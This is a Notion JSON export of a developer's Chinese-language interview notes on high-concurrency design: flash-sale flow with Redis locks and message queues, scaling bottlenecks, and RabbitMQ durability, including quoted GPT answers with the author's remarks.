Gateway根据路由规则将请求转发到具体的服务。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"072908f5-92ea-498f-ad75-e4f8f8d4d53b":{"value":{"id":"072908f5-92ea-498f-ad75-e4f8f8d4d53b","type":"numbered_list","properties":{"title":[["服务收到请求后,首先从Redis中获取用户的Session信息,然后从Redis中获取商品的库存信息。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d56ba84d-fee9-45d5-bd85-dbf9a580507d":{"value":{"id":"d56ba84d-fee9-45d5-bd85-dbf9a580507d","type":"numbered_list","properties":{"title":[["如果库存充足,服务先使用Redisson获取分布式锁,然后在Redis中减少商品的库存数量。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"ca3dd93e-3b1c-4add-9e74-98895ac7b590":{"value":{"id":"ca3dd93e-3b1c-4add-9e74-98895ac7b590","type":"numbered_list","properties":{"title":[["减库存成功后,服务将创建订单的请求通过消息队列异步发送到订单服务。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"14a0ed64-9e71-453e-a5e3-88ee50d80844":{"value":{"id":"14a0ed64-9e71-453e-a5e3-88ee50d80844","type":"numbered_list","properties":{"title":[["订单服务收到消息后,使用数据库的乐观锁机制创建订单。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"34a467a4-e5f7-4c12-94bd-3a8dc72427b6":{"value":{"id":"34a467a4-e5f7-4c12-94bd-3a8dc72427b6","type":"numbered_list","properties":{"title":[["订单创建成功后,返回秒杀成功的消息给用户。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0a0bc967-2b18-476a-8b4b-f3c351472312":{"value":{"id":"0a0bc967-2b18-476a-8b4b-f3c351472312","type":"text","properties":{"title":[["这只是一个大概的框架,具体的实现需要根据实际的业务需求进行调整。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"13991992-61fe-4521-9176-e979630aec82":{"value":{"id":"13991992-61fe-4521-9176-e979630aec82","type":"divider","created_time":1712596062270,"last_edited_time":1712596062271,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"03149589-78ee-4443-8f38-ce653c7839e0":{"value":{"id":"03149589-78ee-4443-8f38-ce653c7839e0","type":"sub_sub_header","properties":{"title":[["网上资料"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712558457409,"last_edited_time":1712558466142,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"98d80c1e-edbc-485e-8212-21db16d5bc70":{"value":{"id":"98d80c1e-edbc-485e-8212-21db16d5bc70","type":"text","properties":{"title":[["使用"],["请求缓冲和请求限流策略,例如令牌桶算法",[["b"]]],[",防止大量请求同时涌向服务端造成服务崩溃。同时可以考虑使用CDN和浏览器缓存技术降低服务器负载。"]]},"created_time":1712557905383,"last_edited_time":1712557917399,"parent_id":"2777df4b-687f-4398-ab66-4aa9f854f5f0","parent_table":"block","alive":true}},"48e8ef13-2201-4c91-bc1b-e7f22e4daa15":{"value":{"id":"48e8ef13-2201-4c91-bc1b-e7f22e4daa15","type":"text","properties":{"title":[["服务端设计需要多层缓冲和优化:"]]},"created_time":1712557905383,"last_edited_time":1712557905388,"parent_id":"c4832952-7105-470c-9f44-2e3780516402","parent_table":"block","alive":true}},"f9f8ae47-ae99-4940-a025-36a86a644c0b":{"value":{"id":"f9f8ae47-ae99-4940-a025-36a86a644c0b","type":"bulleted_list","properties":{"title":[["Nginx负载均衡:",[["b"]]],[" Nginx可以实现反向代理和负载均衡,将流量合理分配到各个服务节点。"]]},"created_time":1712557905383,"last_edited_time":1712557905388,"parent_id":"c4832952-7105-470c-9f44-2e3780516402","parent_table":"block","alive":true}},"be79e573-cc36-40d9-a5d8-f07e3fc87d89":{"value":{"id":"be79e573-cc36-40d9-a5d8-f07e3fc87d89","type":"bulleted_list","properties":{"title":[["Spring Cloud Gateway:",[["b"]]],[" 使用Spring Cloud Gateway进行路由转发和请求过滤。"]]},"created_time":1712557905383,"last_edited_time":1712557905388,"parent_id":"c4832952-7105-470c-9f44-2e3780516402","parent_table":"block","alive":true}},"102883f2-de79-470f-8f4c-d4f49b76ade9":{"value":{"id":"102883f2-de79-470f-8f4c-d4f49b76ade9","type":"bulleted_list","properties":{"title":[["分布式Session:",[["b"]]],[" 可以使用Spring Session将Session存储在Redis中,实现分布式Session。"]]},"created_time":1712557905383,"last_edited_time":1712557905388,"parent_id":"c4832952-7105-470c-9f44-2e3780516402","parent_table":"block","alive":true}},"e6520c9f-aea2-4a4d-a212-01a66ce73df7":{"value":{"id":"e6520c9f-aea2-4a4d-a212-01a66ce73df7","type":"bulleted_list","properties":{"title":[["分布式锁:",[["b"]]],[" 在秒杀核心业务处理时,为了防止超卖,需要使用分布式锁。可以使用Redisson实现基于Redis的分布式锁。"]]},"created_time":1712557905383,"last_edited_time":1712557905388,"parent_id":"c4832952-7105-470c-9f44-2e3780516402","parent_table":"block","alive":true}},"357c774d-d232-4d35-8fb5-c0c08ec45a46":{"value":{"id":"357c774d-d232-4d35-8fb5-c0c08ec45a46","type":"bulleted_list","properties":{"title":[["消息队列:",[["b"]]],[" 将创建订单的请求进行异步处理,提高系统处理能力。可以使用RabbitMQ或Kafka。"]]},"created_time":1712557905383,"last_edited_time":1712557905388,"parent_id":"c4832952-7105-470c-9f44-2e3780516402","parent_table":"block","alive":true}},"d3c51997-2ea0-45e6-9ba9-266590ea8734":{"value":{"id":"d3c51997-2ea0-45e6-9ba9-266590ea8734","type":"bulleted_list","properties":{"title":[["数据库:",[["b"]]],[" 为了防止数据库的读写压力过大,可以使用读写分离的策略。在写方面,可以使用数据库的乐观锁防止超卖。在读方面,可以将商品的库存数量提前预热到Redis中,请求直接从Redis读取数据。"]]},"created_time":1712557905384,"last_edited_time":1712557905388,"parent_id":"c4832952-7105-470c-9f44-2e3780516402","parent_table":"block","alive":true}},"700878a6-c65e-410d-9f44-c75de19ae942":{"value":{"id":"700878a6-c65e-410d-9f44-c75de19ae942","type":"text","properties":{"title":[["建议直接看极海方案,埋个坑输出一个博客\n"],["https://bothsavage.github.io/article/240415-secondkill",[["a","https://bothsavage.github.io/article/240415-secondkill"]]]]},"created_time":1712558466369,"last_edited_time":1712558995391,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"47609369-8125-4835-8505-dc170a251161":{"value":{"id":"47609369-8125-4835-8505-dc170a251161","type":"bookmark","properties":{"link":[["https://www.bilibili.com/video/BV1g34y1h71Y/"]],"title":[["【高级请进】核心业务挑战与方案落地!技术与业务如何权衡!P7级项目如何阐述!_哔哩哔哩_bilibili"]],"description":[["【高级请进】核心业务挑战与方案落地!技术与业务如何权衡!P7级项目如何阐述!, 视频播放量 47665、弹幕量 89、点赞数 1805、投硬币枚数 1495、收藏人数 2381、转发人数 436, 视频作者 极海Channel, 作者简介 互联网从业者/前阿里巴巴工程师/独立开发,提供付费面试与咨询,通道https://jihaichannel.github.io,相关视频:分享几个冷门高级亮点!让面试官刮目相看!专家级重要标准揭秘!,项目没什么亮点,我来教你怎么说好吧?,并发编程有多难,值得反复研究的的两个案例!,【Java前沿】帮公司省钱!为什么关注Quarkus!唯一能与SpringBoot抗衡的云原生技术?,【社区分享】程序员宝藏推荐!提升天花板!覆盖学生到架构师!,【个人成长】我不是一个好学生!也不爱看书!但我四年成专家!,高并发最大挑战之一,你真理解缓存一致性吗,一定要设过期时间!,精挑细选3个方案!如何挖掘并阐述项目挑战!频道核心价值!,【Java高级】如何写出优雅可靠事务代码?基于Spring事务扩展,【Java高级】线上GC问题,技术专家如何分析,与面试很不一样"]]},"format":{"bookmark_icon":"https://i2.hdslb.com/bfs/archive/77dea7d9f467b91ec79dac046439ee0e082930b1.jpg@100w_100h_1c.png@57w_57h_1c.png","bookmark_cover":"https://i2.hdslb.com/bfs/archive/77dea7d9f467b91ec79dac046439ee0e082930b1.jpg@100w_100h_1c.png"},"created_time":1712558539158,"last_edited_time":1712558539159,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c6eca5f6-f31a-474a-8af5-e9f2c1b09b79":{"value":{"id":"c6eca5f6-f31a-474a-8af5-e9f2c1b09b79","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018463,"last_edited_time":1712556547444,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"c3d411d7-0afd-4163-9501-a5186dacfa8e":{"value":{"id":"c3d411d7-0afd-4163-9501-a5186dacfa8e","type":"bulleted_list","properties":{"title":[["gpt又给我玩假大空"]]},"created_time":1712559410077,"last_edited_time":1712559428128,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0c1e5e83-3222-4954-931e-211075399baa":{"value":{"id":"0c1e5e83-3222-4954-931e-211075399baa","type":"bulleted_list","properties":{"title":[["AC在高并发的保证,又要可用,又要一致,当然我们追求最终一致"]]},"created_time":1712556280916,"last_edited_time":1712559454834,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"fabd9d7b-7363-4fee-a111-e1ca5e594376":{"value":{"id":"fabd9d7b-7363-4fee-a111-e1ca5e594376","type":"bulleted_list","properties":{"title":[["相同实例支撑的接口能缓存就要缓存"]]},"created_time":1712559094099,"last_edited_time":1712559550183,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a8b8fa3b-e053-4db3-a992-6a02789309c6":{"value":{"id":"a8b8fa3b-e053-4db3-a992-6a02789309c6","type":"bulleted_list","properties":{"title":[["分布式锁嘛,这个都说烂了"]]},"created_time":1712559509485,"last_edited_time":1712559544210,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"24baaf3b-f01a-47f7-91ff-1e4c313b7747":{"value":{"id":"24baaf3b-f01a-47f7-91ff-1e4c313b7747","type":"bulleted_list","properties":{"title":[["app也要做限流,在app做令牌桶限流确实是一个很好的方案,也可以当作成一个通用方案,还能防止app的死循环请求bug"]]},"created_time":1712559552527,"last_edited_time":1712559630472,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"87d12307-20cf-4cd9-8322-9a8c1043995d":{"value":{"id":"87d12307-20cf-4cd9-8322-9a8c1043995d","type":"bulleted_list","properties":{"title":[["详细说明等我再把极海的视频梳理为文章"]]},"created_time":1712559630731,"last_edited_time":1712559738671,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"5dda5b60-fe5c-465b-9b7a-a751b148d419":{"value":{"id":"5dda5b60-fe5c-465b-9b7a-a751b148d419","type":"divider","created_time":1712559742760,"last_edited_time":1712559742762,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"debfe1b5-a58f-4200-a93b-cfd04564f8a8":{"value":{"id":"debfe1b5-a58f-4200-a93b-cfd04564f8a8","type":"text","created_time":1712559742773,"last_edited_time":1712559742773,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"c6158c40-db10-44b0-8c86-833a34f39b98":{"value":{"id":"c6158c40-db10-44b0-8c86-833a34f39b98","type":"sub_header","properties":{"title":[["4.数据量并发度扩大十倍性能瓶颈"]]},"created_time":1712556282187,"last_edited_time":1712556305964,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"a4f29450-cc0e-4683-a9dd-1d0beddb1651":{"value":{"id":"a4f29450-cc0e-4683-a9dd-1d0beddb1651","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"c10c635e-6308-4f80-b0bc-185f8a6c6096","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556286462,"last_edited_time":1712556286466,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"c10c635e-6308-4f80-b0bc-185f8a6c6096"}},"77258239-91bd-434b-a538-dc492bfb5f5f":{"value":{"id":"77258239-91bd-434b-a538-dc492bfb5f5f","type":"quote","properties":{"title":[["我的Spring cloud + mysql + redis项目,目前用户激增,访问量和数据量都扩大了100倍,你认为我的系统瓶颈在哪,怎么解决"]]},"format":{"copied_from_pointer":{"id":"6a7d5026-4140-41ce-9e62-7eeaf2f484a1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556286462,"last_edited_time":1712561602822,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"6a7d5026-4140-41ce-9e62-7eeaf2f484a1"}},"0e137ff7-c4d7-4152-afc8-f79bf48d6c55":{"value":{"id":"0e137ff7-c4d7-4152-afc8-f79bf48d6c55","type":"text","properties":{"title":[["在你的情况下,可能会遇到以下瓶颈:"]]},"format":{"copied_from_pointer":{"id":"bc99cd9d-3b27-4463-818c-807c38de9b1d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556286463,"last_edited_time":1712561611182,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"bc99cd9d-3b27-4463-818c-807c38de9b1d"}},"42236ad1-4887-402b-a30f-80fdfcbd9feb":{"value":{"id":"42236ad1-4887-402b-a30f-80fdfcbd9feb","type":"numbered_list","properties":{"title":[["硬件资源限制",[["b"]]],[":例如,服务器 CPU、内存、I/O 等,可能会在高并发的情况下,成为瓶颈。"]]},"created_time":1712561607672,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"2749b679-9cbf-4fff-9a24-98742cf87751":{"value":{"id":"2749b679-9cbf-4fff-9a24-98742cf87751","type":"numbered_list","properties":{"title":[["数据库瓶颈",[["b"]]],[":当访问量和数据量增加时,数据库可能会变得过于繁忙,导致系统性能下降。这可能是由于查询效率低下、索引不合理、表设计不合理等原因造成的。"]]},"created_time":1712561607672,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"1018b604-6a35-4dd9-848e-f8e397053df7":{"value":{"id":"1018b604-6a35-4dd9-848e-f8e397053df7","type":"numbered_list","properties":{"title":[["Redis 瓶颈",[["b"]]],[":Redis 是单线程的,因此在高并发场景下,可能会成为性能瓶颈。"]]},"created_time":1712561607672,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"3f27258a-689f-4efa-b1e3-5be0d2d027c5":{"value":{"id":"3f27258a-689f-4efa-b1e3-5be0d2d027c5","type":"numbered_list","properties":{"title":[["网络瓶颈",[["b"]]],[":如果网络带宽不足,或者网络延迟太高,也可能会成为瓶颈。"]]},"created_time":1712561607672,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"14445b43-cad1-4e57-8026-294d44925746":{"value":{"id":"14445b43-cad1-4e57-8026-294d44925746","type":"text","properties":{"title":[["以下是可能的解决方案:"]]},"created_time":1712561607672,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"34487776-5497-4545-a046-53007c910bf3":{"value":{"id":"34487776-5497-4545-a046-53007c910bf3","type":"numbered_list","properties":{"title":[["优化硬件资源",[["b"]]],[":根据系统的需求增加硬件资源,例如增加服务器的 CPU、内存等。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"24110269-8bb4-4dda-b976-e4dc27f8d49a":{"value":{"id":"24110269-8bb4-4dda-b976-e4dc27f8d49a","type":"numbered_list","properties":{"title":[["数据库优化",[["b"]]],[":"]]},"content":["615cdd84-67ee-4bb8-972c-4ef64d8d039f","5a4d387f-3fdd-4f6d-8b53-574f3a1f8c51","91bf04bd-5989-4363-ab92-41eaf888627d","7be3caea-0681-4a49-8b23-de7199f94916","e538f307-80df-464b-b50c-2b72a7691e6b"],"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"d4a92abf-b6a5-489d-9d0a-956d6970a7e2":{"value":{"id":"d4a92abf-b6a5-489d-9d0a-956d6970a7e2","type":"numbered_list","properties":{"title":[["优化 Redis",[["b"]]],[":"]]},"content":["c097bb9d-baed-4cf3-8de7-92d84f7e2977","a9110726-548b-4a0e-9db8-cd5a9e81161a"],"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"08e46138-d832-4303-9082-28b70f64d913":{"value":{"id":"08e46138-d832-4303-9082-28b70f64d913","type":"numbered_list","properties":{"title":[["服务的弹性扩展",[["b"]]],[":"]]},"content":["db36d16e-bf9f-4467-a7b0-b4377900a771","72beaad5-365b-46cf-a416-75785b13d228"],"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"6a5e682c-e3c1-4681-bf82-f5c8c8565c91":{"value":{"id":"6a5e682c-e3c1-4681-bf82-f5c8c8565c91","type":"numbered_list","properties":{"title":[["使用 CDN 和缓存",[["b"]]],[":使用 CDN 可以减少服务器的流量压力,使用缓存可以减少数据库的访问压力。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"615cdd84-67ee-4bb8-972c-4ef64d8d039f":{"value":{"id":"615cdd84-67ee-4bb8-972c-4ef64d8d039f","type":"bulleted_list","properties":{"title":[["索引优化",[["b"]]],[":检查查询是否都有合适的索引支持,没有的话,添加相应索引。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"24110269-8bb4-4dda-b976-e4dc27f8d49a","parent_table":"block","alive":true}},"5a4d387f-3fdd-4f6d-8b53-574f3a1f8c51":{"value":{"id":"5a4d387f-3fdd-4f6d-8b53-574f3a1f8c51","type":"bulleted_list","properties":{"title":[["查询优化",[["b"]]],[":避免全表扫描,尽可能减少 JOIN 操作,避免使用 NOT IN 和 <> 操作符等。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"24110269-8bb4-4dda-b976-e4dc27f8d49a","parent_table":"block","alive":true}},"91bf04bd-5989-4363-ab92-41eaf888627d":{"value":{"id":"91bf04bd-5989-4363-ab92-41eaf888627d","type":"bulleted_list","properties":{"title":[["分库分表",[["b"]]],[":当单表数据量过大时,可以考虑分库分表,以减少单个数据库的负载。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"24110269-8bb4-4dda-b976-e4dc27f8d49a","parent_table":"block","alive":true}},"7be3caea-0681-4a49-8b23-de7199f94916":{"value":{"id":"7be3caea-0681-4a49-8b23-de7199f94916","type":"bulleted_list","properties":{"title":[["读写分离",[["b"]]],[":将读和写的操作分开,可以有效减轻数据库的压力。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"24110269-8bb4-4dda-b976-e4dc27f8d49a","parent_table":"block","alive":true}},"e538f307-80df-464b-b50c-2b72a7691e6b":{"value":{"id":"e538f307-80df-464b-b50c-2b72a7691e6b","type":"bulleted_list","properties":{"title":[["使用数据库中间件",[["b"]]],[":例如 MyCAT、Sharding-Sphere 等。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"24110269-8bb4-4dda-b976-e4dc27f8d49a","parent_table":"block","alive":true}},"c097bb9d-baed-4cf3-8de7-92d84f7e2977":{"value":{"id":"c097bb9d-baed-4cf3-8de7-92d84f7e2977","type":"bulleted_list","properties":{"title":[["使用 Redis 集群",[["b"]]],[":通过分片将数据存储在多个 Redis 实例中,可以提高系统的并发处理能力。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"d4a92abf-b6a5-489d-9d0a-956d6970a7e2","parent_table":"block","alive":true}},"a9110726-548b-4a0e-9db8-cd5a9e81161a":{"value":{"id":"a9110726-548b-4a0e-9db8-cd5a9e81161a","type":"bulleted_list","properties":{"title":[["优化 Redis 配置",[["b"]]],[":根据实际需求,优化 Redis 的配置参数。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"d4a92abf-b6a5-489d-9d0a-956d6970a7e2","parent_table":"block","alive":true}},"db36d16e-bf9f-4467-a7b0-b4377900a771":{"value":{"id":"db36d16e-bf9f-4467-a7b0-b4377900a771","type":"bulleted_list","properties":{"title":[["使用 Spring Cloud 的微服务架构",[["b"]]],[":可以根据需求,动态地增加或减少服务实例。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"08e46138-d832-4303-9082-28b70f64d913","parent_table":"block","alive":true}},"72beaad5-365b-46cf-a416-75785b13d228":{"value":{"id":"72beaad5-365b-46cf-a416-75785b13d228","type":"bulleted_list","properties":{"title":[["使用负载均衡",[["b"]]],[":将请求均匀地分摊到多个服务器上,降低了每个服务器的负载。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"08e46138-d832-4303-9082-28b70f64d913","parent_table":"block","alive":true}},"688f0bf3-568f-45ee-81b9-403c14ea17ba":{"value":{"id":"688f0bf3-568f-45ee-81b9-403c14ea17ba","type":"numbered_list","properties":{"title":[["网络优化",[["b"]]],[":提高网络带宽,优化网络结构,减少网络延迟。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"0d46b99a-3763-424e-8894-7a799fd6dfe2":{"value":{"id":"0d46b99a-3763-424e-8894-7a799fd6dfe2","type":"text","properties":{"title":[["每个系统的瓶颈可能都不同,所以需要结合实际情况,定位并解决瓶颈。"]]},"created_time":1712561607673,"last_edited_time":1712561607677,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"f048549e-6ce9-40c0-84cb-9538806d956b":{"value":{"id":"f048549e-6ce9-40c0-84cb-9538806d956b","type":"divider","format":{"copied_from_pointer":{"id":"00af2137-25ef-4b3f-bcbc-7d23a32c379e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556286463,"last_edited_time":1712556286466,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"00af2137-25ef-4b3f-bcbc-7d23a32c379e"}},"9abd68a0-fd30-4736-abc4-1349afa7f49e":{"value":{"id":"9abd68a0-fd30-4736-abc4-1349afa7f49e","type":"sub_sub_header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"c6eca5f6-f31a-474a-8af5-e9f2c1b09b79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556286463,"last_edited_time":1712556550603,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"c6eca5f6-f31a-474a-8af5-e9f2c1b09b79"}},"1b5bb1c9-7d56-4061-9785-917f8158fee0":{"value":{"id":"1b5bb1c9-7d56-4061-9785-917f8158fee0","type":"bulleted_list","properties":{"title":[["差不多但是说的比较宽泛"]]},"format":{"copied_from_pointer":{"id":"0c1e5e83-3222-4954-931e-211075399baa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556286463,"last_edited_time":1712561656304,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"0c1e5e83-3222-4954-931e-211075399baa"}},"b9ddd0d9-1790-4163-92da-d7f12dea2f9e":{"value":{"id":"b9ddd0d9-1790-4163-92da-d7f12dea2f9e","type":"bulleted_list","properties":{"title":[["就是RT要继续维持不要增高,分析热点请求加缓存等"]]},"created_time":1712561656496,"last_edited_time":1712561685945,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"aa46f8d3-26f3-432d-85d0-b8ae393dc9cc":{"value":{"id":"aa46f8d3-26f3-432d-85d0-b8ae393dc9cc","type":"bulleted_list","properties":{"title":[["还有就是要减少io,其中mysql的优化是io减少的重要方式"]]},"created_time":1712561686133,"last_edited_time":1712561704632,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"91b70bf0-b5e8-4a20-84a9-f55fe4f4a4d9":{"value":{"id":"91b70bf0-b5e8-4a20-84a9-f55fe4f4a4d9","type":"bulleted_list","properties":{"title":[["还要要追寻一致性问题,许多代码在写的时候没有考虑到高并发,该优化的优化,像支付订单等追求一致性的地方要提高RT的同时去追求最终一致性"]]},"created_time":1712561704789,"last_edited_time":1712561798385,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"98976d60-507e-41eb-9a7a-7b596ddc3321":{"value":{"id":"98976d60-507e-41eb-9a7a-7b596ddc3321","type":"text","created_time":1712556310545,"last_edited_time":1712556310545,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"882a3580-0be9-40e6-82ac-4bab27c43ba2":{"value":{"id":"882a3580-0be9-40e6-82ac-4bab27c43ba2","type":"sub_header","properties":{"title":[["5.MQ保证不丢失kafka快重平衡"]]},"created_time":1712556264516,"last_edited_time":1712560311785,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"02309e5e-08c3-4749-858a-8fa7c80d0dab":{"value":{"id":"02309e5e-08c3-4749-858a-8fa7c80d0dab","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"a4f29450-cc0e-4683-a9dd-1d0beddb1651","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556310965,"last_edited_time":1712556370577,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"a4f29450-cc0e-4683-a9dd-1d0beddb1651"}},"f804b57a-103a-4a96-8a5c-6fccdcf2a9c7":{"value":{"id":"f804b57a-103a-4a96-8a5c-6fccdcf2a9c7","type":"quote","properties":{"title":[["rabbitmq是如何保证消息不丢失的,他的持久化策略是啥"]]},"format":{"copied_from_pointer":{"id":"77258239-91bd-434b-a538-dc492bfb5f5f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556310965,"last_edited_time":1712560339789,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true,"copied_from":"77258239-91bd-434b-a538-dc492bfb5f5f"}},"c32aa622-f15e-44a5-97f8-5df99fca48e2":{"value":{"id":"c32aa622-f15e-44a5-97f8-5df99fca48e2","type":"text","properties":{"title":[["RabbitMQ 提供了多种保证消息不会丢失的机制,包括消息持久化,队列持久化,消息确认等。"]]},"created_time":1712560549336,"last_edited_time":1712560549339,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"4af9a0cc-ecec-4fb6-aa3d-690ee6d06b51":{"value":{"id":"4af9a0cc-ecec-4fb6-aa3d-690ee6d06b51","type":"numbered_list","properties":{"title":[["消息持久化",[["b"]]],[":消息持久化可以通过设置 "],["delivery_mode=2",[["c"]]],[" 来实现,当消息被持久化后,即使 RabbitMQ 服务重启,消息也不会丢失,因为他们被存储在磁盘上。但是,这并不能完全保证消息的持久性。因为,当你发布一个消息并且 RabbitMQ 返回一个确认,这个消息可能还没被保存到磁盘。RabbitMQ 可能只是将消息保存在缓存中,并没有真正的写入磁盘。"]]},"created_time":1712560549337,"last_edited_time":1712560549339,"parent_id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","parent_table":"block","alive":true}},"87461336-26b4-405a-b379-e2b02fe6d221":{"value":{"id":"87461336-26b4-405a-b379-e2b02fe6d221","type":"numbered_list","properties":{"title":[["队列持久化",[["b"]]],[":要持久化队列,你需要在声明队列的时候,将 "],["durable",[["c"]]],[" 参数设置为 "],["true",[["c"]]],["。这样,即使 RabbitMQ 